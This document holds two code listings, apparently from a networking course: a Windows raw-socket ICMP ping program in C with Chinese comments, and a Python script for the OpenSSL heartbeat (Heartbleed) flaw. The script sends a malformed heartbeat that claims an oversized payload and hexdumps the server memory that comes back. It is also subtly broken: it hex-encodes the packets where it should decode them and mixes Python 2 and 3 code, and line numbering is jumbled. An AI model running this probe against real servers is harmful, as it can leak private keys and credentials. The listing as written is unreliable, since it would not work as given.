

```
1
2
3 #pragma pack(4)
4
5 #include <WINSOCK2.H>
6 #include <STDIO.H>
7 #include <STDLIB.H>
8
9 #define ICMP_ECHO 8
10 #define ICMP_ECHOREPLY 0
11
12 #define ICMP_MIN 8 // minimum 8 byte icmp packet (just header)
13
14 /* The IP header */
15 typedef struct iphdr {
16 unsigned int h_len:5; // length of the header
17 unsigned int version:4; // Version of IP
18 unsigned char tos; // Type of service
19 unsigned short total_len; // total length of the packet
20 unsigned short ident; // unique identifier
21 unsigned short frag_and_flags; // flags
22 unsigned char ttl;
23 unsigned char proto; // protocol (TCP, UDP etc)
24 unsigned short checksum; // IP checksum
25
26 unsigned int sourceIP;
27 unsigned int destIP;
28
29 }IpHeader;
30
31
32 //
33 // ICMP header
34 //
35 typedef struct icmphdr {
36 BYTE i_type;
37 BYTE i_code; /* type sub code */
38 USHORT i_cksum;
39 USHORT i_id;
40 USHORT i_seq;
41 /* This is not the std header, but we reserve space for time */
42 ULONG timestamp;
43 }IcmpHeader;
44
45 #define STATUS_FAILED 0xFFFF
46 #define DEF_PACKET_SIZE 32
47 #define DEF_PACKET_NUMBER 4 /* 发送数据报的个数 */
48 #define MAX_PACKET 1024
49
50 #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
51 #define xfree(p) HeapFree (GetProcessHeap(),0,(p))
52
53 void fill_icmp_data(char *, int);
54 USHORT checksum(USHORT *, int);
55 int decode_resp(char *,int ,struct sockaddr_in *);
56
57 void Usage(char *programe){
58
59 fprintf(stderr,"Usage:\n");
60 fprintf(stderr,"%s [number of packets] [data_size]\n",programe);
61 fprintf(stderr,"datasize can be up to 1Kb\n");
62 ExitProcess(STATUS_FAILED);
63
64 }
65 int main(int argc, char **argv){
66
67 WSADATA wsaData;
68 SOCKET sockRaw;
```



```

69 struct sockaddr_in dest,from;
70 struct hostent * hp;
71 int bwrote,bread,datasize,times;
72 int fromlen = sizeof(from);
73 int timeout = 1000;
74 int statistic = 0; /* 用于统计结果 */
75 char *dest_ip;
76 char *icmp_data;
77 char *recvbuf;
78 unsigned int addr=0;
79 USHORT seq_no = 0;
80
81 if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
82 fprintf(stderr,"WSAStartup failed: %d\n",GetLastError());
83 ExitProcess(STATUS_FAILED);
84 }
85
86 if (argc < 2 ) {
87 Usage(argv[0]);
88 }
89 sockRaw = WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL, 0,WSA_FLAG_OVERLAPPED);
90
91
92 if (sockRaw == INVALID_SOCKET) {
93 fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
94 ExitProcess(STATUS_FAILED);
95 }
96
97 memset(&dest,0,sizeof(dest));
98
99 hp = gethostbyname(argv[1]);
100
101 if (!hp){
102 addr = inet_addr(argv[1]);
103 }
104 if ((!hp) && (addr == INADDR_NONE) ) {
105 fprintf(stderr,"Unable to resolve %s\n",argv[1]);
106 ExitProcess(STATUS_FAILED);
107 }
108
109 if (hp != NULL) {
110 memcpy(&(dest.sin_addr),hp->h_addr,hp->h_length);
111 }
112 else {
113 dest.sin_addr.s_addr = addr;
114 }
115
116
117 if (hp) {
118 dest.sin_family = hp->h_addrtype;
119 }
120 else {
121 dest.sin_family = AF_INET;
122 }
123
124 dest_ip = inet_ntoa(dest.sin_addr);
125
126 //
127 // atoi函数原型是: int atoi( const char *string );
128 // The return value is 0 if the input cannot be converted to an integer !
129 //
130 if(argc>2)
131 {
132 times=atoi(argv[2]);
133 if(times == 0)
134 times=DEF_PACKET_NUMBER;
135 }
136 else

```



```
37     times=DEF_PACKET_NUMBER;
38
39 if (argc >3)
40 {
41     datasize = atoi(argv[3]);
42     if (datasize == 0)
43         datasize = DEF_PACKET_SIZE;
44     if (datasize >1024) /* 用户给出的数据包大小太大 */
45     {
46         fprintf(stderr,"WARNING : data_size is too large !\n");
47         datasize = DEF_PACKET_SIZE;
48     }
49 }
50 else {
51     datasize = DEF_PACKET_SIZE;
52 }
53
54
55 //程序运行输打印的第一条语句, icmp header长度为12
56 printf("the length of icmp header is %d\n",sizeof(IcmpHeader));
57
58 //开辟空间, icmp_data, char型指针指向该内存空间的首地址
59 icmp_data = (char*)xmalloc(sizeof(IcmpHeader) + MAX_PACKET);
60
61 //开辟空间, recvbuf, char型指针指向该内存空间的首地址, 存储接收数据
62 recvbuf = (char*)xmalloc(sizeof(IcmpHeader) + MAX_PACKET + 20);
63
64 if (!icmp_data) {
65     fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());
66     ExitProcess(STATUS_FAILED);
67 }
68
69
70 memset(icmp_data,0,sizeof(IcmpHeader) + MAX_PACKET);
71 fill_icmp_data(icmp_data,datasize);
72
73 datasize += sizeof(IcmpHeader);
74
75 //
76 //显示提示信息
77 //
78 fprintf(stdout,"\nPinging %s .\n\n",dest_ip);
79 int i;
80
81
82     for(i=0;i<times;++i){
83
84         ((IcmpHeader*)icmp_data)->i_cksum = 0;
85         ((IcmpHeader*)icmp_data)->timestamp = GetTickCount();
86
87         ((IcmpHeader*)icmp_data)->i_seq = seq_no++;
88         ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data,datasize);
89
90         //sendto()函数使用方法及返回值参考实验指导
91         bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
92         printf("the length of bwrote is %d\n",bwrote);
93         if (bwrote == SOCKET_ERROR){
94             if (WSAGetLastError() == WSAETIMEDOUT) {
95                 printf("Request timed out.\n");
96                 continue;
97             }
98             fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());
99             ExitProcess(STATUS_FAILED);
100         }
101         if (bwrote < datasize ) {
102             fprintf(stdout,"Wrote %d bytes\n",bwrote);
103         }
104         bread = recvfrom(sockRaw,recvbuf,MAX_PACKET + sizeof(IcmpHeader) + 20,0,(struct sockaddr*)&fr
```



```

205     printf("the length of bread is %d\n",bread);
206     if (bread == SOCKET_ERROR){
207         if (WSAGetLastError() == WSAETIMEDOUT) {
208             printf("Request timed out.\n");
209             continue;
210         }
211         fprintf(stderr,"recvfrom failed: %d\n",WSAGetLastError());
212         ExitProcess(STATUS_FAILED);
213     }
214     if(!decode_resp(recvbuf,bread,&from))
215         statistic++; /* 成功接收的数目++ */
216     Sleep(1000);
217 }
218
219
220 /*
221 Display the statistic result
222 */
223 fprintf(stdout,"\nPing statistics for %s\n",dest_ip);
224 fprintf(stdout,"    Packets: Sent = %d,Received = %d, Lost = %d (%2.0f%% loss)\n",times,
225     statistic,(times-statistic),(float)(times-statistic)/times*100);
226
227
228 WSACleanup();
229 return 0;
230
231 }
232 /*
233 The response is an IP packet. We must decode the IP header to locate
234 the ICMP data
235 */
236 int decode_resp(char *buf, int bytes,struct sockaddr_in *from) {
237
238     IpHeader *iphdr;
239     IcmpHeader *icmphdr;
240     unsigned short iphdrlen;
241
242     iphdr = (IpHeader *)buf;
243     printf(" iphdr->h_len = %d. ",iphdr->h_len);
244     iphdrlen = (iphdr->h_len) * 4 ; // number of 32-bit words *4 = bytes
245     printf(" iphdrlen = %d. ",iphdrlen);
246
247     if (bytes < iphdrlen + ICMP_MIN) {
248         printf("Too few bytes from %s\n",inet_ntoa(from->sin_addr));
249     }
250
251     icmphdr = (IcmpHeader*)(buf + iphdrlen);
252
253     if (icmphdr->i_type != ICMP_ECHOREPLY) {
254         fprintf(stderr,"non-echo type %d recvd\n",icmphdr->i_type);
255         return 1;
256     }
257     if (icmphdr->i_id != (USHORT)GetCurrentProcessId()) {
258         fprintf(stderr,"someone else's packet!\n");
259         return 1;
260     }
261
262     printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
263     printf(" icmp_seq = %d. ",icmphdr->i_seq);
264     printf(" time: %d ms ",GetTickCount()-icmphdr->timestamp);
265     printf("\n");
266     return 0;
267 }
268
269
270
271 USHORT checksum(USHORT *buffer, int size) {
272

```



pingV3.c

```
273 unsigned long cksum=0;
274
275 while(size >1) {
276     cksum+=*buffer++;
277     size -=sizeof(USHORT);
278 }
279
280 if(size) {
281     cksum += *(UCHAR*)buffer;
282 }
283
284 cksum = (cksum >> 16) + (cksum & 0xffff);
285 cksum += (cksum >>16);
286 return (USHORT)(~cksum);
287 }
288 /*
289  Helper function to fill in various stuff in our ICMP request.
290  */
291 void fill_icmp_data(char * icmp_data, int datasize){
292
293     IcmpHeader *icmp_hdr;
294     char *datapart;
295
296     icmp_hdr = (IcmpHeader*)icmp_data;
297
298     icmp_hdr->i_type = ICMP_ECHO;
299     icmp_hdr->i_code = 0;
300     icmp_hdr->i_id = (USHORT)GetCurrentProcessId();
301     icmp_hdr->i_cksum = 0;
302     icmp_hdr->i_seq = 0;
303
304     //指针位移操作
305     datapart = icmp_data + sizeof(IcmpHeader);
306     //
307     // Place some data in the buffer.
308     //
309     memset(datapart,'E', datasize);
310
311 }
312
313
314
315
```



```

1 #OpenSSL漏洞测试python程序
2 #!/usr/bin/python
3 import sys
4 import struct
5 import socket
6 import time
7 import select
8 import re
9 from optparse import OptionParser
10 import binascii
11
12 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability')
13 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
14
15 def h2bin(x):
16     #return x.replace(' ', '').replace('\n', '').codecs.encode('hex')
17     ttt = x.replace(' ', '').replace('\n', '')
18     a_bytes = bytes(ttt, encoding = "utf8")
19     return binascii.hexlify(a_bytes)
20     #return a_bytes.hex()
21
22 hello = h2bin('''
23 16 03 02 00 dc 01 00 00 d8 03 02 53
24 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
25 bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
26 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
27 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
28 c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
29 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
30 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
31 c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
32 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
33 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
34 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
35 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
36 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
37 00 0f 00 01 01
38 ''')
39
40 hb = h2bin('''
41 18 03 02 00 03
42 01 40 00
43 ''')
44
45 def hexdump(s):
46     for b in xrange(0, len(s), 16):
47         lin = [c for c in s[b : b + 16]]
48         hxdat = ' '.join('%02X' % ord(c) for c in lin)
49         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
50         print (' %04x: %-48s %s' % (b, hxdat, pdat))
51     print
52
53 def recvall(s, length, timeout=5):
54     endtime = time.time() + timeout
55     rdata = b''
56     remain = length
57     while remain > 0:
58         rtime = endtime - time.time()
59         if rtime < 0:
60             return None
61         r, w, e = select.select([s], [], [], 5)
62         if s in r:
63             data = s.recv(remain)
64             # EOF?
65             if not data:
66                 return None
67             rdata += data
68             remain -= len(data)

```



```
9     return rdata
10
11 def recvmsg(s):
12     hdr = recvall(s, 5)
13     if hdr is None:
14         print ('Unexpected EOF receiving record header - server closed connection')
15         return None, None, None
16     typ, ver, ln = struct.unpack('>BHH', hdr)
17     pay = recvall(s, ln, 10)
18     if pay is None:
19         print ('Unexpected EOF receiving record payload - server closed connection')
20         return None, None, None
21     print ('... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
22     return typ, ver, pay
23
24 def hit_hb(s):
25     s.send(hb)
26     while True:
27         typ, ver, pay = recvmsg(s)
28         if typ is None:
29             print ('No heartbeat response received, server likely not vulnerable')
30             return False
31
32         if typ == 24:
33             print ('Received heartbeat response:')
34             hexdump(pay)
35             if len(pay) > 3:
36                 print ('WARNING: server returned more data than it should - server is vulnerable!')
37             else:
38                 print ('Server processed malformed heartbeat, but did not return any extra data.')
39             return True
40
41         if typ == 21:
42             print ('Received alert:')
43             hexdump(pay)
44             print ('Server returned error, likely not vulnerable')
45             return False
46
47 def main():
48     opts, args = options.parse_args()
49     if len(args) < 1:
50         options.print_help()
51         return
52
53     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
54     print ('Connecting...')
55     sys.stdout.flush()
56     s.connect((args[0], opts.port))
57     print ('Sending Client Hello...')
58     sys.stdout.flush()
59     s.send(hello)
60     print ('Waiting for Server Hello...')
61     sys.stdout.flush()
62     while True:
63         typ, ver, pay = recvmsg(s)
64         if typ == None:
65             print ('Server closed connection without sending Server Hello.')
66             return
67         # Look for server hello done message.
68         if typ == 22 and ord(pay[0]) == 0x0E:
69             break
70
71     print ('Sending heartbeat request...')
72     sys.stdout.flush()
73     s.send(hb)
74     hit_hb(s)
75 if __name__ == '__main__':
76     main()
```

